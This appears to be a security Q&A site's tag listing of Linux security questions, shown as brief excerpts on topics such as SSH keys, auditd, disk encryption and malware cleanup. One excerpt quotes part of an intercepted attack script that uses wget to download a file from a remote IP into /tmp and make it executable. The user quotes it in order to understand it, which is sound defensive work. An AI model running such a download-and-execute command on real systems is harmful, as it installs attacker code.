Securing Linux systems and applications; understanding Linux security features.

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2
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1answer
217 views

Is there any security risk with adding a **root's** public key to the local user's authorized_keys (so root to login as a user non-interactively?)

Background: I want to try unprivileged lxc containers a try on my small web server (hosting 2-4 users). Since the server is shared among friends, we decided to separate our services from the machine ...
0
votes
0answers
35 views

What can possibly happen to a public SSH server?

I'm writing a console emulator in JQuery, which will connect to a server through SSH and dynamically send commands (through AJAX) and receive output. Basically it will be a remote ssh console on a ...
0
votes
0answers
44 views

Does an account with a !! /etc/shadow entry have to still expire?

Currently where I work, our password policy is set at 84 days. This is set in our login.defs on all of our Linux machines. We have policies that are set around PCI DSS 3.1 and the like, this goes for ...
8
votes
1answer
435 views

Is it possible to emulate real network printer i.e. to run some actual firmware in VM?

I've got to the section related to network printers exploitation while going through one security course. Under "network printer" I understand standalone devices with a dedicated ethernet\wireless ...
1
vote
2answers
76 views

Tracing origin of malicious PHP script

I'm looking at a Linux server running Apache + mod_php. A malicious PHP script was uploaded during the night. It's owned by the Apache user and I would think it almost certain that the script was ...
25
votes
3answers
3k views

Does using a live CD make you more vulnerable to remote attacks?

Some people recommend the use of a Linux live CD for online banking, but doesn't that make you more vulnerable to network attacks since it's not updated? I tried installing updates and it required me ...
3
votes
1answer
125 views

Turn RPi3 Wi-Fi adapter into monitor mode using airmon-ng

For some reason, I can't turn the built-in Wi-Fi adapter on the new Raspberry Pi 3 into monitor mode like I used to do on other platforms. First I kill the processes that interfere with sudo ...
2
votes
1answer
29 views

How to disable conntrack protocol parsing in the linux kernel?

Security researcher Jacob Appelbaum suggested to avoid certain code paths in the linux kernel that are related to conntrack that do protocol parsing (such as fdp, sip, etc.) right in the kernel for ...
2
votes
2answers
54 views

Protect against virus and malware attacks from website ads with iptables

Lots of websites spread malware by publishing advertisements that distribute malware. Even YouTube's ad network has been compromised in the past. Browser ad blockers and related plugins have there own ...
3
votes
1answer
65 views

Linux log files to back up and review for security

Good morning/afternoon/evening everyone, I am looking into what files I should consistently back up externally from my machine to be able to monitor for any unusual activity. I would look at the files ...
1
vote
2answers
140 views

How to forbid one directory only in TOMOYO (2.5)?

(For example) I want to restrict write access to /home/backup from anybody, except a particular backup script. (To protect from accidental deletion.) For this, I suppose, it is enough to have two ...
0
votes
1answer
80 views

What is the most valuable file you can get using a directory traversal hole [closed]

I am doing a penetration test and I found a directory traversal hole in the web application which enables me to download any readable file in the server. However, I could only download files that is ...
1
vote
1answer
43 views

Does a reverse proxy pass keep the backend server anonymous?

If I have an NGINX server at 1.1.1.1 and in the NGINX server you have the config that forwards on http traffic to 2.2.2.2: upstream 123 { server 2.2.2.2; } server { listen 80 default_server; ...
1
vote
0answers
45 views

Default accounts shutdown, halt, and sync - still shipping?

I'm curious as to whether, and if so why, Unix and Linux distributions still ship with default accounts shutdown, halt and sync. Specifically (from a Red Hat document), ...
0
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0answers
51 views

Tuning auditd to be more operational friendly

We are in the process of pushing for a passing SOC-2 audit report, and part of that is to get our auditing act together. Specific to what I'm working on right now auditd. I have a nice set of rules, ...
4
votes
1answer
56 views

Are Linux System Capabilities Considered Mandatory Access Controls?

DAC is not mandatory because access permissions are left up to the resource owner's discretion. Mandatory Access Control (Smack, SELinux, etc) administration can only be accomplished by a ...
0
votes
0answers
31 views

How do I execute a file under Linux Mint when it could be 'unsafe'? [duplicate]

Sometimes I find PDF's on the world wide web which I need for a project etc. But I'm afraid to get some sort of malware, virus or whatever on my PC too. I'm using Linux Mint. I would like to download ...
4
votes
5answers
146 views

How to verify if a source code is safe before compiling it?

Sometimes Linux users need to to download a source code to be compiled then executed (the root privileges is granted). Is it possible for a source code to hide malicious code as a part of it? And how ...
43
votes
8answers
11k views

Why am I allowed to access protected Windows files when I boot Ubuntu from USB?

How come I'm allowed to reboot a computer that I don't own, put in a USB, boot ubuntu from it and then access all files stored on the drives available (even critical files such as system files on C ...
0
votes
1answer
52 views

X windows security: VNC and X server vs xpra

I have a CentOS server that currently has no X server on it. It will be used for doing statistical crunching and providing other services (probably via a web interface). The main security for the ...
1
vote
0answers
27 views

Port Knocking origination matching problem

I set up port knocking using first this method using knockd and then I tried using this method using only iptables directly but when both failed I thought I'd check a bit deeper into the problem. ...
21
votes
1answer
926 views

Linux, TRESOR and XTS

I want to switch from using LUKS for full disk encryption to TRESOR. TRESOR tries to prevent cold boot attacks by storing the encryption key in the CPU's registers. It uses the kernel's crypto API for ...
38
votes
5answers
45k views

What can an attacker do with Bluetooth and how should it be mitigated?

What are the security risks of Bluetooth and what technologies and best practices should be used to protect my device? What can an attacker do once a malicious device is paired with mine? ...
8
votes
7answers
5k views

Linux or Windows- the security issue [duplicate]

Possible Duplicate: Open Source vs Closed Source Systems Almost anyone who has grown up on Windows must have had the notion (that I had) of Linux being more secure than Windows- one of ...
4
votes
1answer
41 views

Can going to a bad website on firefox, or installing a malcious firefox plugin, infect other parts of my home folder on a Linux system?

BTW, I don't mean root, just a plain user. I'm worried because I'm scared that if I do such things I could infect my Chromium folder. I got a huge case of OCD.
3
votes
1answer
68 views

What are some vulnerabilities of environment variables (on any platform)?

I am writing a small cross platform Python application (a package manager to be used internally by my corp), and I'm thinking of using something similar to this answer on Stack Overflow to check for ...
9
votes
3answers
393 views

Linux Plausibly Deniable File System

Is there any way to encrypt a linux filesystem in such a way to maintain plausible deniability? E.g. "Hidden OS support," the way Truecrypt and Veracrypt work, they only support Windows OS due to low ...
0
votes
0answers
15 views

Timeout after setting up proxychains

I've installed ProxyChains on my linux machine and I'm trying to hide my IP over the internet. I went on one of those sites that gives you a list of ips, in this case, proxylist.hidemyass.com and got ...
1
vote
2answers
171 views

Server full disk encryption protection from malware

A group of LINUX servers is using dm-crypt to encrypt data. The servers do not store data long-term but are only temporary stopping points for data before it is sent to other systems. The time the ...
2
votes
0answers
53 views

Methods root can use to elevate itself to kernel mode

When most Linux users hear "root", they think of the maximum possible privilege on a computer. Some even think that root runs in ring 0. But in reality, root is just a regular user running in ring 3, ...
15
votes
5answers
2k views

Can a .sh file be malware?

Can a .sh file be a virus or something harmful? Is it like .exe files on Windows? If yes, can someone read this script and tell me if it safe and is it effect any how on GnuPG security? It gives me an ...
3
votes
1answer
65 views

What can I do to separate users best way if they are allowed to run their ruby (python) code

I have Ubuntu server 12.04 on VDS and I allow users to run their own Rails applications on behalf their own accounts. That means: They can use any shell they want They can upload what they want, ...
13
votes
3answers
2k views

What does this sh script do if executed?

I have intercepted an attack on my web server that I believe was unsuccessful. The attacker tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod ...
23
votes
5answers
4k views

Why should one use sudo? [duplicate]

Most modern Linux articles advice using sudo rather than logging into root. This advice is so ingrained, some distros don't automatically allow root login. Indeed they come pre-configured with sudo ...
2
votes
3answers
71 views

Does any malware target Tails?

Tails is not a popular OS and is optimized for security, which makes me doubt there is a significant amount of malware that targets it. I googled "malware targeting tails," and found no relevant ...
6
votes
2answers
175 views

GUI isolation in X11 when entering Truecrypt password

I have been getting a bit paranoid regarding some of my old TrueCrypt containers. The paranoia has got nothing to do with suspicions regarding TrueCrypt itself (after the shut-down last year), rather ...
4
votes
2answers
47 views

How to determine the minimum Linux Kernel version required for a given vulnerability

I have to track vulnerabilities for a legacyish (3.12) Linux Kernel. For this purpose I'm searching on various sites like NVD for new vulnerabilities. Recently I encountered a problem where the ...
1
vote
2answers
36 views

Would saving GPG and SSH keys as another user improve security?

Since e.g. SSH keys under Linux are owned by the user who created them, any applications running as the user, e.g. a web browser, should be able to read them from the ~/.ssh folder. Say that there is ...
-3
votes
1answer
139 views

With Ubuntu on Windows 10, could exploits and malware that work on Ubuntu (or related distros) work on Windows? [closed]

So apparently Hell has finally and completely frozen over: the next major update for Windows 10 will be able to natively run Bash, related tools, and even some broader set of Linux binaries/programs ...
21
votes
2answers
2k views

Why would properly logging full http requests be bad practice?

I'm currently looking at Secure Coding Practices documentation provided by Veracode with their code analysis toolsuite. In a "secure logging practices" section, they mention that logging full HTTP ...
7
votes
4answers
998 views

How to trace the actions performed by a virus?

Is that possible to trace the actions performed by a virus? Run Time , stolen data and the files consulted and get the relative impact on my pc.?
7
votes
2answers
246 views

Anti-live forensic programs

Against dead forensics acquisition we can use disk encryption (we can use TrueCrypt for example). I was wondering do software exists against live forensic ? Can you give me a list for windows and ...
-2
votes
1answer
90 views

anti cloning hard disk [closed]

I'm trying to create an "anti-cloning" system. I'd like to know if there's a way to check a unique label on the hard disk, during the boot phase, in order to avoid the machine to continue booting if ...
1
vote
1answer
55 views

How to distinguish malware from system crash?

Recently, I browsed to a website, which appeared to consume all the computer's resources. Although the mouse cursor continued to move, the browser (and other applications) slowed down fast and soon ...
1
vote
0answers
39 views

How does text that is displayed with cat end up trying to execute in the Linux terminal? [duplicate]

Sometimes you accidentally "cat" a binary... only for your terminal to become utterly corrupted, ending up in another code page where all characters are unrecognizable, while your shell spits back at ...
-1
votes
1answer
60 views

Is it reckless to use an Android app to login to a server with SSH?

There is a very similar question here. Recently I came across an Android app that facilitates SSH and requires no permissions. Specifically, "Telnet / SSH Simple Client" by Advanced Planning Corp.. ...
0
votes
0answers
23 views

Crackle does not work?

I've used to intructions for Crackle but, cannot get this kind of results like in the example. All it does is open up the wireshark like plugin and does not show any results like the picture below. ...
0
votes
2answers
50 views

Is there a server/website specific malware scanner? [closed]

I have multiple Linux CentOS servers that are scanned with the Google Webmaster Tools, and when it finds some malicious code on my servers(shared/dedicated), the ranking of those site drops. What I am ...
11
votes
1answer
177 views

How long to re-seed /dev/urandom in a virtual machine?

I have read plenty about the distinction between /dev/random and /dev/urandom. I understand that the prevailing advice is to use /dev/urandom. The explanation - that 256 bits of 'proper' randomness ...
4
votes
2answers
847 views

Malware (adware?) infection on linux

Recently I've get stuck with a malware(adware/virus ?) which I can't remove. here is the condition: I'm using Linux (Archlinux), it's uptodate and I don't install any packages outside standard repos ...